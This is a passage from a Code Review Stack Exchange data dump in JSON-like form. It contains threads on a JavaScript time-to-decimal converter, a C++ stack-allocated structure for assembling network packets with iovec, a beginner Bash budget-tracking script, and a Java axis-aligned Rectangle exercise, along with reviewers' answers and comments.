"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T20:08:27.367",
"Id": "489046",
"Score": "0",
"body": "That is your choice, ES6 bring a new feature if you want use it. To get familiar/comfortable with any new syntax you have to use it many times."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:57:29.050",
"Id": "249388",
"ParentId": "249383",
"Score": "3"
}
},
{
"body": "<p>Better is relative! Lots of ways to write that code.</p>\n<p>Though I personally prefer terse and precise code like other answers have highlighted, (here is my take on that):</p>\n<pre><code>const minuteConverter = time => [time.split(':')]\n .map(([hour, minute]) => +(+hour + +minute / 60).toFixed(2))[0]\n</code></pre>\n<p>The pluses could get a little hectic so here is a more descriptive/arithmetic dense version as well.</p>\n<pre><code>const minuteConverter = time => [time.split(':')]\n .map(([hh, mm]) => [+hh, mm / 60])\n .reduce((hundred, [hours, minutes]) => Math.round((hours + minutes) * hundred) / hundred, 100)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:33:26.047",
"Id": "488958",
"Score": "0",
"body": "complex and confusing, without visible benefit for me. Wrapping an array in another array, just to use set-operators seems unnecessary, most of the other answers seem a lot clearer, use less code and are less complex."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:02:41.970",
"Id": "488978",
"Score": "0",
"body": "Interesting take. Can you explain what is confusing you about the code? Is it a lack of familiarity with the concepts, the methodology? I assume you mean array methods when referring to set operators. That is not exactly the reason although doing so permits the style being used in the answer. I also am surprised that you feel there is more code (at least with the first take). Do you mean more characters, steps, lines? What do you mean when saying other answers have 'less code'? This would be helpful to understand on my part! Thanks for the feedback!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:41:57.800",
"Id": "488981",
"Score": "0",
"body": "Confusing is for me seeing an array operator, which is used for working on lists of elements being used on a single element. It would be like writing a for-loop with a single hardcoded iteration. And with \"more code\" I mean more elements (e.g. I count one variable, one operator one set of braces as one element each, irrespecitve of the length of the variable or keyword)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:47:38.777",
"Id": "488983",
"Score": "0",
"body": "And the reduce version is just hard to digest - you assign 100 to the \"sum\" parameter of reduce and then use the variable name hundred, which seems to be done because there is no real use for reduce - you could just as well have used another map. For me it is a clear sign that map/reduce are not the right tools for operating on something which is not list-like (not an array/map/set/vector)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T02:52:19.330",
"Id": "489069",
"Score": "0",
"body": "That is essentially making the assumption that the abstraction level that an array operator provides is solely used for arrays. Map is not exclusive in any way to lists but to functors, which JS arrays just happen to be. The reduce method is a very useful method that provides a map that can also return the contents of its array instead of the array with its contents. I could have easily mapped and used [0] to access but it would require I introduce one more 'magic' number to do so. Hence the choice. This was quick though so I guess I could have separated it into more steps for clarity."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T02:55:11.230",
"Id": "489070",
"Score": "0",
"body": "I do appreciate the take as it helps me figure out the sweet spot for people not familiar (or keen) with different JS styles. So thanks for the response!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T07:48:19.980",
"Id": "489087",
"Score": "0",
"body": "just for your information, I'm using forEach,map quite extensively and code almost all of my list operations in this style and found even a few good uses for reduce. - HTTP 203 on youtube has a good video on reduce which you could watch to get a perspective how other developers decide beteween \"reasonable use\" and \"unreasonable complexity\": https://youtu.be/qaGjS7-qWzg"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T08:08:16.567",
"Id": "489089",
"Score": "0",
"body": "Have watched before, do not totally agree with it. I can agree that reduce is abused, I do not believe there is a problem with using it in cases where you want a piece of morphed data instead of the array holding said data. With that being said, for the code I provided, I can agree that I could have taken another path. In particular, after having initially mapped."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:01:42.767",
"Id": "249391",
"ParentId": "249383",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249387",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T09:24:54.123",
"Id": "249383",
"Score": "6",
"Tags": [
"javascript",
"datetime",
"functional-programming",
"ecmascript-6"
],
"Title": "Convert minutes portion of time to decimal"
}
|
249383
|
<p>The recurring problem to assemble a network packet out of payload, sequence number, header, and other misc. information is mostly solved either on the heap (e.g. appending to a <code>std::vector</code>) or by first allocating a (hopefully large enough) buffer and then writing to that buffer. Some of the elements always stay the same or only change minimally (like the header) and therefore the scatter/gather approach offered by writev with iovec, Asio with buffer sequences or other networking interfaces allow to avoid those unnecessary copies.</p>
<p>There is still the problems that different parts of the message are produced in different parts of the code, especially when more than on sub-protocol is to be used. In that case we are again tempted to use dynamic memory allocation to construct the iovec.
I would like to avoid those dynamic memory allocation and potentially oversized buffers for so I came up with the following in-stack stack implementation (I named it <code>stack_stack</code>):</p>
<pre class="lang-cpp prettyprint-override"><code>template<class T, size_t length=1>
struct stack_stack {
using next_type = stack_stack<T, length-1>;
using prev_type = stack_stack<T, length+1>;
const T value;
const next_type * next = nullptr;
static constexpr size_t ssize = length;
struct iterator {
using value_type = T;
using pointer = const value_type*;
using reference = const value_type&;
using iterator_category = std::input_iterator_tag;
iterator& operator++() {
ptr = static_cast<const stack_stack*>(ptr)->next;
return *this;
}
bool operator==(iterator other) const {
return ptr == *other;
}
bool operator!=(iterator other) const {
return ptr != *other;
}
pointer operator*() {return static_cast<pointer>(ptr);}
const void* ptr;
};
iterator begin() const {return iterator{this};}
iterator end() const {return iterator{nullptr};}
prev_type push_front(T val) const {
return {val, this};
}
};
</code></pre>
<p>It keeps track of its length using template parameters and could be used like in the following example scenario:</p>
<pre class="lang-cpp prettyprint-override"><code>
struct ioitem {
char* data;
size_t size;
};
template<class stack>
void Send(const stack& b) {
for (auto a : b) {
std::cout << a->data << std::endl;
}
}
template<class stack>
void SendWithHeader(const stack& b) {
auto header = std::string("HDX1"); // This would normally some kind of constexpr
Send(b.push_front({header.data(), header.size()}));
}
template<class stack>
void SendWithSeqno(const stack& b) {
auto seq_no = std::string("5");
auto b1 = b.push_front({seq_no.data(), seq_no.size()}); // it's ok if one module addds more than one part
auto b2 = b1.push_front({seq_no.data(), seq_no.size()});
SendWithHeader(b2);
}
template<class stack>
void SendWithTag(const stack& b) {
auto tag_name = std::string("my tag"); // I am just making up a protocol here
SendWithSeqno(b.push_front({tag_name.data(), tag_name.size()}));
}
int main() {
auto my_data = std::string("Hello World");
auto my_Buffer = stack_stack<ioitem>{my_data.data(), my_data.size()};
SendWithTag(my_Buffer);
}
</code></pre>
<p>What I would like to improve:</p>
<ol>
<li>In the <code>Send</code> function I could copy the stack to a statically sized array according to the size of <code>stack::ssize</code>. However I did not get <code>std::copy</code> to work.</li>
<li>I don't like the hacks with the <code>void*</code> in the iterator.</li>
</ol>
<p>Also: Is this a good way to approach this problem or is there a much better solution (without the heap) that got under my radar? I searched for similar implementations to mine but could not find anything.</p>
|
[] |
[
{
"body": "<h1>The iterator is not behaving correctly</h1>\n<p>There are various reasons <code>std::copy()</code> doesn't work on <code>stack_stack</code>, and it all has to do with the iterator. First, you are missing <code>difference_type</code>. Since your iterators do not support taking the difference, set it to <code>void</code>:</p>\n<pre><code>using difference_type = void;\n</code></pre>\n<p>Second, your comparison operators are wrong. They should take a <code>const</code> reference to <code>other</code>, and you can access member variables of <code>other</code> directly, so:</p>\n<pre><code>bool operator==(const iterator &other) const {\n return ptr == other.ptr;\n}\n</code></pre>\n<p>Also, while this is a trivial comparison operator, it is good to define <code>operator!=</code> in terms of <code>operator==</code>, to avoid potential mistakes:</p>\n<pre><code>bool operator!=(const iterator &other) const {\n return !(*this == other); // Just invert the result of operator==\n}\n</code></pre>\n<p>Last, the result of <code>operator*</code> should be a reference to the actual data, not a pointer, so:</p>\n<pre><code>reference operator*() {\n return *static_cast<pointer>(ptr);\n}\n</code></pre>\n<p>Now it sort of works, and <code>std::copy()</code> is happy. In your own code, you need to change some use of <code>-></code> to <code>.</code> to make it print the contents of a stack, like so:</p>\n<pre><code>for (auto item: stack) {\n std::cout << item.data << "\\n";\n}\n</code></pre>\n<h1>Avoiding <code>void*</code> hacks</h1>\n<p>Well, you have created a problem for yourself. Each element of the stack points to the next element, but it has a different type. The cleanest solution I see without changing the type system used for <code>stack_stack</code> is to do this:</p>\n<pre><code>struct iterator {\n ...\n using pointer = const stack_stack*;\n ...\n iterator& operator++() {\n ptr = reinterpret_cast<pointer>(ptr->next);\n return *this;\n }\n ...\n reference operator*() {\n return ptr->value;\n }\n\n pointer ptr;\n};\n</code></pre>\n<p>So we removed all of the lies, except the one about the type when following <code>ptr->next</code>.</p>\n<h1>The cleanest approach</h1>\n<p>If you want to do it even cleaner, then you should not have a template parameter <code>length</code>. Maybe also don't call it a stack, it more accurately resembles one <em>element</em> of a singly-linked list. To keep track of the length of this list, I would create a separate type that resembles the list as a whole, and which stores the length and a pointer to the head, both of which we will update when we add elements:</p>\n<pre><code>template<class T>\nstruct stack_list {\n struct item {\n const T value;\n const item *const next;\n\n // Constructor which will update the head of stack_list\n item(const T &value, const item *&head): value(value), next(head) {\n head = this;\n }\n\n // Delete copy constructor, move and assignment operators\n item(const item &other) = delete;\n item &operator=(const item &other) = delete;\n item &operator=(const item &&other) = delete;\n };\n\n struct iterator {\n ... // left as an excercise to the reader\n };\n\n size_t size{};\n const item *head{};\n\n [[nodiscard]] item push_front(T value) {\n size++;\n return {value, head}\n }\n}\n</code></pre>\n<p>Then you can use it like so:</p>\n<pre><code>auto my_data = ...;\n\nstack_list<ioitem> sl;\nauto my_buffer = sl.push_front({my_data.begin(), my_data.size()});\n\nstd::cout << "List size: " << sl.size << "\\n"\n << "First element: " << sl.head->value << "\\n";\n</code></pre>\n<h1>Using your class for building <code>iovec</code>s</h1>\n<p>As you noticed you still need to convert your stack (or list) of <code>ioitem</code>s to an array of <code>struct iovec</code>. So it might be better to build this array directly. If you want to do it on the stack, then the safest option is to just go with a <code>std::array<iovec, N></code>, where <code>N</code> is large enough to handle most or all cases. If the required size can vary a lot, then you can perhaps make a class that holds a union of a <code>std::array</code> and a <code>std::vector</code>, and switches to the vector if the array is full. You might be able to use an existing <a href=\"https://stackoverflow.com/questions/18530512/stl-boost-equivalent-of-llvm-smallvector\">library implementing small vector optimization</a>, but since you basically always <code>push_front()</code>, your own implementation that starts at the back of the array might be the most efficient. It might look like:</p>\n<pre><code>template<size_t N = 8>\nclass iovec_builder {\n std::array<struct iovec, N> iov;\n size_t iovlen{};\n\npublic:\n void push_front(struct iovec item) {\n if (iovlen == N) {\n // handle array being full\n } else {\n // add starting from the back\n iovlen++;\n iov[N - iovlen] = item;\n }\n }\n\n struct iovec *get_iov() {\n return &iov[N - iovlen];\n }\n\n size_t get_iovlen() const {\n return iovlen;\n }\n};\n</code></pre>\n<p>And use it like:</p>\n<pre><code>iovec_builder iovb;\nstd::string my_data("Hello World");\niovb.push_front({my_data.data(), my_data.len()});\niovb.push_front({..., ...});\n\nstruct msghdr msg{};\nmsg.iov = iovb.get_iov();\nmsg.iovlen = iovb.get_iovlen();\n...\nsendmsg(fd, &msg, ...);\n</code></pre>\n<p>It might waste a bit of stack space, but you'll waste more by having a linked list and having to copy it into an array.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:45:18.277",
"Id": "488994",
"Score": "0",
"body": "Thanks a lot! To make it work I had to set the copy constructor or move constructor to `default`. Otherwise the assignment to my_buffer fails to compile. Which one (move or copy) would you prefer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:45:46.407",
"Id": "488995",
"Score": "0",
"body": "I also found out that things get messed up if I do not store the result of push_front. When adding more than one item the last added item is repeated twice. E.g. [inserting] -> [content]: [1, 2] -> [2, 2]; [1, 2, 3] -> [3, 3, 1]; [1, 2, 3, 4] -> [4, 4, 2, 1]. Is there any way to enforce keeping the return value of push_front?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T16:54:57.723",
"Id": "489021",
"Score": "1",
"body": "Of course you need to store the result of `push_front()`, because that is where your data lives! I thought that was the whole idea behind your design?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T17:01:01.387",
"Id": "489025",
"Score": "1",
"body": "You shouldn't need to make the copy or move constructors `default`, but you do need to have at least the regular constructor, in your `stack_stack()` you didn't have any explicitly defined, but if you start deleting things you have to explicitly add them, just like I did in `stack_list::item`. As for enforcing keeping the return value: you can't. But you can use the [`[[nodiscard]]`](https://en.cppreference.com/w/cpp/language/attributes/nodiscard) attribute to let the compiler warn about not storing the result."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T09:37:13.790",
"Id": "489097",
"Score": "0",
"body": "To clarify: I had to set the copy/move constructor of `item` to default (not `stack_list`) otherwise I get an `error: use of deleted function` on the line `auto my_buffer = sl.push_front(...`.\nYes the point is to store the result of `push_front()` on the stack but my users might not necessarily be aware of that and run into hard to find bugs. The `[[nodiscard]]` attribute was exactly what I was looking for. Thanks a lot!"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T20:30:44.243",
"Id": "249410",
"ParentId": "249385",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:18:53.287",
"Id": "249385",
"Score": "4",
"Tags": [
"c++",
"stack",
"networking",
"embedded"
],
"Title": "Assemble network packet on stack for iovec"
}
|
249385
|
<p>A few days ago I wrote my first own Bash script - did some really small thing a few years ago - to keep my costs in check and get an overview over them. Therefore, I want it to include cost adding, viewing and changing.
It works the way I wrote it, but I am not really sure if it's the "best" way to do it.
Also I wanted to have an overview of the spent money for the current month, but don't have an idea how to do it.</p>
<p>If you have a few minutes to take a look over the code, I would really appreciate it.</p>
<pre><code>#!/bin/bash
##declaration of Variables
#path to saving files
SavingFile=/home/tobias/TestSkripte/SpeicherBuchhaltung
Budget=$(cut -d= -f2 $SavingFile)
CostsHousehold=$(cut -d= -f4 $SavingFile)
CostsCar=$(cut -d= -f6 $SavingFile)
CostsLuxury=$(cut -d= -f8 $SavingFile)
CostsStudy=$(cut -d= -f10 $SavingFile)
CostsFood=$(cut -d= -f12 $SavingFile)
CostsHygiene=$(cut -d= -f14 $SavingFile)
CostsEntertainment=$(cut -d= -f16 $SavingFile)
CostsOther=$(cut -d= -f18 $SavingFile)
CostsMonthly=$(cut -d= -f20 $SavingFile)
CostsAll=$(cut -d= -f22 $SavingFile)
CostsMonthlyOld=
# check if script is called with parameters - if not show current budget
if [ $# -gt 0 ]
then
case $1 in
# add amount to *Costs and subtract it from the given budget
"-a")
case $2 in
#asigning variables for chosen *Costs
#for adding *Costs only change or append lines in case statement
"-h") CostsTemp=$CostsHousehold; CostsName=CostsHousehold;;
"-c") CostsTemp=$CostsCar; CostsName=CostsCar;;
"-l") CostsTemp=$CostsLuxury; CostsName=CostsLuxury;;
"-s") CostsTemp=$CostsStudy; CostsName=CostsStudy;;
"-f") CostsTemp=$CostsFood; CostsName=CostsFood;;
"-y") CostsTemp=$CostsHygiene; CostsName=CostsHygiene;;
"-e") CostsTemp=$CostsEntertainment; CostsName=CostsEntertainment;;
"-o") CostsTemp=$CostsOther; CostsName=CostsOther;;
esac;
#add given amount to chosen *Costs
CostsNew=$((CostsTemp+$3));
#save new Costs
sed -i "s/$CostsName=$CostsTemp/$CostsName=$CostsNew/g" "$SavingFile";
#save new calculated Budget to file
BudgetNew=$((Budget-$3));
sed -i "s/Budget=$Budget/Budget=$BudgetNew/g" "$SavingFile";;
#change the value of Budget or *Costs
"--change")
#check if there are three options given --> if not you cant add costs
if [ $# -eq 3 ] ; then
#check input what shall be changed, if wanted only change/add options here
case $2 in
"-b") nameTemp=Budget; changeTemp=$Budget;;
"-h") nameTemp=CostsHousehold; changeTemp=$CostsHousehold;;
"-c") nameTemp=CostsCar; changeTemp=$CostsCar;;
"-l") nameTemp=CostsLuxury; changeTemp=$CostsLuxury;;
"-s") nameTemp=CostsStudy; changeTemp=$CostsStudy;;
"-f") nameTemp=CostsFood; changeTemp=$CostsFood;;
"-y") nameTemp=CostsHygiene; changeTemp=$CostsHygiene;;
"-e") nameTemp=CostsEntertainment; changeTemp=$CostsEntertainment;;
"-o") nameTemp=CostsOther; changeTemp=$CostsOther;;
esac;
#changing the values in the saving File
sed -i "s/$nameTemp=$changeTemp/$nameTemp=$3/g" "$SavingFile"
#print error if there are not three options given
else
printf "%-s \n" "no value given, please run again with value"
fi;;
#print wanted costs
"--print")
#assigning variables for case statement so they can be printed wiht -t otherwise they could be printed in case statement directly without variables
printB="Amount of Budget: $Budget"
printH="Household costs: $CostsHousehold"
printC="Car costs: $CostsCar"
printL="Luxury costs: $CostsLuxury"
printS="Sutdy costs: $CostsStudy"
printF="Food costs: $CostsFood"
printY="Hygine costs: $CostsHygiene"
printE="Enternainment costs: $CostsEntertainment"
printO="Other costs: $CostsOther"
printA="All costs added together are: $((CostsHousehold + CostsCar + CostsLuxury + CostsStudy + CostsFood + CostsHygiene + CostsEntertainment + CostsOther))"
case $2 in
"-b") printf "%s \n" "$printB";;
"-h") printf "%s \n" "$printH";;
"-c") printf "%s \n" "$printC";;
"-l") printf "%s \n" "$printL";;
"-s") printf "%s \n" "$printS";;
"-f") printf "%s \n" "$printF";;
"-y") printf "%s \n" "$printY";;
"-e") printf "%s \n" "$printE";;
"-o") printf "%s \n" "$printO";;
"-a") printf "%s \n" "$printA";;
"-t") printf "%s \t \t" "$printH"; printf "%-s \n" "$printC";
printf "%s \t \t" "$printL"; printf "%-s \n" "$printS";
printf "%s \t \t" "$printF"; printf "%-s \n" "$printY";
printf "%s \t " "$printE"; printf "%-s \n" "$printO";
printf "%s \n" "$printA";
printf "%s \n" "$printB";;
esac;;
#shows help; if new *Cost is changed/added, change help option too so it stays up to date
"--help")
#adding costs
printf "%-s \n \t" "-a: add following costs:";
printf "%-s \n \t" "-h: Household related costs";
printf "%-s \n \t" "-c: car related costs";
printf "%-s \n \t" "-l: luxury related costs";
printf "%-s \n \t" "-s: stutdy related costs";
printf "%-s \n \t" "-f: food related costs";
printf "%-s \n \t" "-y: hygiene article related costs";
printf "%-s \n \t" "-e: entertainment related costs";
printf "%-s \n \n" "-o: other related costs";
#change costs
printf "%-s \n \t" "--change: change the value of the following costs:";
printf "%-s \n \t" "-b: budget";
printf "%-s \n \t" "-h: household";
printf "%-s \n \t" "-c: car";
printf "%-s \n \t" "-l: luxury";
printf "%-s \n \t" "-s: study";
printf "%-s \n \t" "-y: hygiene";
printf "%-s \n \t" "-e: entertainment";
printf "%-s \n \n" "-o: other";
#show costs
printf "%-s \n \t" "--print: prints following costs:";
printf "%-s \n \t" "-b: budget";
printf "%-s \n \t" "-h: household";
printf "%-s \n \t" "-c: car";
printf "%-s \n \t" "-l: luxury";
printf "%-s \n \t" "-s: study";
printf "%-s \n \t" "-y: hygiene";
printf "%-s \n \t" "-e: entertainment";
printf "%-s \n \t" "-o: other";
printf "%-s \n \t" "-a: all costs added together";
printf "%-s \n \t" "-t: print all costs and budget";;
esac
else
printf "%-s \n" $Budget
fi
</code></pre>
<p>Stay healthy and have a good time.</p>
|
[] |
[
{
"body": "<p>Welcome to Code Review. I enjoyed reading your script. Thanks for submitting it to code review.</p>\n<h1>Good things</h1>\n<ul>\n<li>Your variable names are good.</li>\n<li>The comments are very good.</li>\n<li>The 8 space indentation warms the heart of someone who has been stuck with 4 space python code for too long. I like the way your inner case statements have the whole thing on one line, but if this was for code that was going to be maintained by other people it would be better to spread it out to more lines.</li>\n<li>You have quoted most things well, but <a href=\"https://www.shellcheck.net/\" rel=\"nofollow noreferrer\">shellcheck</a> would ding you for not quoting every variable substitution, on the off chance it would have space in it and cause problems. In most cases you are setting it not far above, so there's little chance of space creeping in, but it is a good habit to get into.</li>\n</ul>\n<h1>Suggestions</h1>\n<ul>\n<li>Move each option into a <code>function</code>.</li>\n<li>Use the <code>[[</code> form of conditionals to avoid some unpleasant edge cases.</li>\n<li>Add at least one space after <code>#</code> comment delimiter.</li>\n<li>Try <a href=\"https://www.shellcheck.net/\" rel=\"nofollow noreferrer\">shellcheck</a>.</li>\n<li>Consider switching your sh-bang line to <code>#!/usr/bin/env bash</code> to make your script portable to environments that have <code>bash</code> in weird places.</li>\n</ul>\n<h1>The data store</h1>\n<p>It took me a minute of reading through this to figure out how the data store worked and I was very impressed with the whole thing. It is a pretty unusual setup, but before talking about more traditional ways of doing this, let's look at how the existing design could be improved.</p>\n<ul>\n<li>The first thing about a custom data format is to document it. I would add this as a series of comments at the top of the file. Including an example of how it is supposed to look would do wonders for somebody that has never seen this before.</li>\n<li>I'm pretty happy with the way writing to the file works. <code>sed</code> should do this fine most of the time and hopefully you have backups. One potential flaw with your implementation is that you could have two keys that are ambiguously named. If you had <code>Foo=1</code> and <code>BarFoo=2</code>, updating <code>Foo=3</code> would change both. This is easy to fix by adding a <code>^</code> to the beginning of the match part of the regex.</li>\n<li>The reading of the file is a bit more problematic. Your code hinges on the position of the fields in the file, but the code would be easier to read and resilient to new fields being added in the middle if you use the same variable scheme you use for writing to the file.</li>\n<li>Wouldn't the file be more human-readable if the key-value pairs were one per line instead of one long line?</li>\n</ul>\n<p>All of this really leads to the question of: why not use a database? Making a table in a SQL database and putting each cost in a record would make it easy to total up also. You can access PostgreSQL or SQLite from the command line. Either would be more resilient and scalable than writing your own stuff to mess with a text file.</p>\n<p>Your current data store is essentially a key-value store. There are lots of those these days. The <code>dbm</code> family has been in UNIX for decades. More Internet-era alternatives include riak, cassandra, scylladb, and many others. These will fit with your current data model more easily than moving to SQL, but SQL will give you "reporting" abilities for free where you have to build that yourself with the key-value stores.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:16:45.630",
"Id": "488989",
"Score": "1",
"body": "Thank you really much, I'll implement your ideas. To be honest I forgot about a database - it's a good idea and the longer I think about it - the dumber I feel not have had the idea myself - I will defenitly implement it. Thank you for your time and helping a newbie out :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T02:57:50.800",
"Id": "249417",
"ParentId": "249390",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249417",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T12:54:18.380",
"Id": "249390",
"Score": "5",
"Tags": [
"beginner",
"bash"
],
"Title": "First Bash script keep costs in check"
}
|
249390
|
<p>This is exercise 3.2.1. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Consider the following data-type implementation for axis-aligned
rectangles, which represents each rectangle with the coordinates of
its center point and its width and height:</p>
<pre><code>public class Rectangle
{
private final double x, y;
private final double width;
private final double height;
public Rectangle(double x0, double y0, double w, double h)
{
x = x0; y = y0; width = w; height = h;
}
public double area()
{
return width*height;
}
public double perimeter()
{
/* Compute perimeter. */
}
public boolean intersects(Rectangle b)
{
/* Does this rectangle intersects b? */
}
public boolean contains(Rectangle b)
{
/* Is b inside this rectangle? */
}
public void draw(Rectangle b)
{
/* Draw rectangle on standard drawing. */
}
}
</code></pre>
<p>Fill in the code for perimeter(),
intersects(), and contains(). Note : Consider two rectangles to
intersect if they share one or more common points (improper
intersections). For example, a.intersects(a) and a.contains(a) are
both true.</p>
</blockquote>
<p>This is exercise 3.2.2. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Write a test client for Rectangle that takes three command-line
arguments n, min, and max; generates n random rectangles whose width
and height are uniformly distributed between min and max in the unit
square; draws them on standard drawing; and prints their average area
and perimeter to standard output.</p>
</blockquote>
<p>This is exercise 3.2.3. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne:</p>
<blockquote>
<p>Add code to your test client from the previous exercise code to
compute the average number of rectangles that intersect a given
rectangle.</p>
</blockquote>
<p>Here is my program for all the above 3 exercises combined:</p>
<pre><code>public class Rectangle
{
private final double x, y;
private final double width;
private final double height;
public Rectangle(double x0, double y0, double w, double h)
{
x = x0; y = y0; width = w; height = h;
}
public double xCoordinate()
{
return x;
}
public double yCoordinate()
{
return y;
}
public double widthOf()
{
return width;
}
public double heightOf()
{
return height;
}
public double left()
{
return x - width/2;
}
public double right()
{
return x + width/2;
}
public double bottom()
{
return y - height/2;
}
public double top()
{
return y + height/2;
}
public double area()
{
return width*height;
}
public double perimeter()
{
return 2*width+2*height;
}
public boolean contains(Rectangle b)
{
if ((x - width/2) <= (b.left()) &&
(x + width/2) >= (b.right()) &&
(y - height/2) <= (b.bottom()) &&
(y + height/2) >= (b.top()))
{
return true;
}
else return false;
}
public boolean intersects(Rectangle b)
{
boolean leftOfFirstBetweenLeftAndRightOfSecond = (x - width/2) > b.left() && (x - width/2) < b.right();
boolean rightOfFirstBetweenLeftAndRightOfSecond = (x + width/2) > b.left() && (x + width/2) < b.right();
boolean bottomOfFirstBetweenBottomAndTopOfSecond = (y - height/2) > b.bottom() && (y - height/2) < b.top();
boolean topOfFirstBetweenBottomAndTopOfSecond = (y + height/2) > b.bottom() && (y + height/2) < b.top();
boolean leftOfSecondBetweenLeftAndRightOfFirst = b.left() > (x - width/2) && b.left() < (x + width/2);
boolean rightOfSecondBetweenLeftAndRightOfFirst = b.right() > (x - width/2) && b.right() < (x + width/2);
boolean bottomOfSecondBetweenBottomAndTopOfFirst = b.bottom() > (y - height/2) && b.bottom() < (y + height/2);
boolean topOfSecondBetweenBottomAndTopOfFirst = b.top() > (y - height/2) && b.top() < (y + height/2);
if ((leftOfFirstBetweenLeftAndRightOfSecond && bottomOfFirstBetweenBottomAndTopOfSecond) || (leftOfSecondBetweenLeftAndRightOfFirst && bottomOfSecondBetweenBottomAndTopOfFirst)) return true;
else if ((rightOfFirstBetweenLeftAndRightOfSecond && bottomOfFirstBetweenBottomAndTopOfSecond) || (rightOfSecondBetweenLeftAndRightOfFirst && bottomOfSecondBetweenBottomAndTopOfFirst)) return true;
else if ((leftOfFirstBetweenLeftAndRightOfSecond && topOfFirstBetweenBottomAndTopOfSecond) || (leftOfSecondBetweenLeftAndRightOfFirst && topOfSecondBetweenBottomAndTopOfFirst)) return true;
else if ((rightOfFirstBetweenLeftAndRightOfSecond && topOfFirstBetweenBottomAndTopOfSecond) || (rightOfSecondBetweenLeftAndRightOfFirst && topOfSecondBetweenBottomAndTopOfFirst)) return true;
else if (x == b.xCoordinate() && y == b.yCoordinate() && width == b.widthOf() && height == b.heightOf()) return true;
else return false;
}
public void draw()
{
StdDraw.rectangle(x, y, width/2, height/2);
}
public static double randomize(double a, double b)
{
return a + Math.random()*(b-a);
}
public static void main(String[] args)
{
int n = Integer.parseInt(args[0]);
double min = Double.parseDouble(args[1]);
double max = Double.parseDouble(args[2]);
Rectangle[] rectangles = new Rectangle[n];
for (int i = 0; i < n; i++)
{
rectangles[i] = new Rectangle(randomize(0.2,0.8),
randomize(0.2,0.8),
randomize(min,max),
randomize(min,max));
}
for (int i = 0; i < n; i++)
{
rectangles[i].draw();
}
double averageArea = 0;
double averagePerimeter = 0;
for (int i = 0; i < n; i++)
{
averageArea += rectangles[i].area();
averagePerimeter += rectangles[i].perimeter();
}
System.out.println("Average area = " + averageArea);
System.out.println("Average perimeter = " + averagePerimeter);
int[] intersections = new int[n];
for (int i = 0; i < n; i++)
{
intersections[i]--;
for (int j = 0; j < n; j++)
{
if (rectangles[i].intersects(rectangles[j]))
{
intersections[i]++;
}
}
}
int sumOfIntersections = 0;
for (int i = 0; i < n; i++)
{
sumOfIntersections += intersections[i];
}
System.out.println("Average intersections = " + ((int) sumOfIntersections/n));
}
}
</code></pre>
<p><a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/StdDraw.html" rel="nofollow noreferrer">StdDraw</a> is a simple API written by the authors of the book. I checked my program and it works. Here is one instance of it:</p>
<p>Input: 200 0.01 0.1</p>
<p>Output:</p>
<p>Average area = 0.6067956188701565</p>
<p>Average perimeter = 44.41595092011365</p>
<p>Average intersections = 5</p>
<p><a href="https://i.stack.imgur.com/8Iblz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8Iblz.png" alt="enter image description here" /></a></p>
<p>Is there any way that I can improve my program (especially the implementation of <code>intersects</code> method)?</p>
<p>Thanks for your attention.</p>
<p>One can find the follow-up to this post in <a href="https://codereview.stackexchange.com/questions/249442/data-type-implementation-for-axis-aligned-rectangles-using-data-type-implementat">here</a>.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T15:09:45.157",
"Id": "488837",
"Score": "1",
"body": "For the `intersects()` method, I find it easier to enumerate the cases where the rectangles do not intersect: if the second rectangle lies completely left of the first one (second right edge less than first left edge), it's a miss. Same for \"completely above\", \"right\", or \"below\" the first rectangle. Otherwise they intersect."
}
] |
[
{
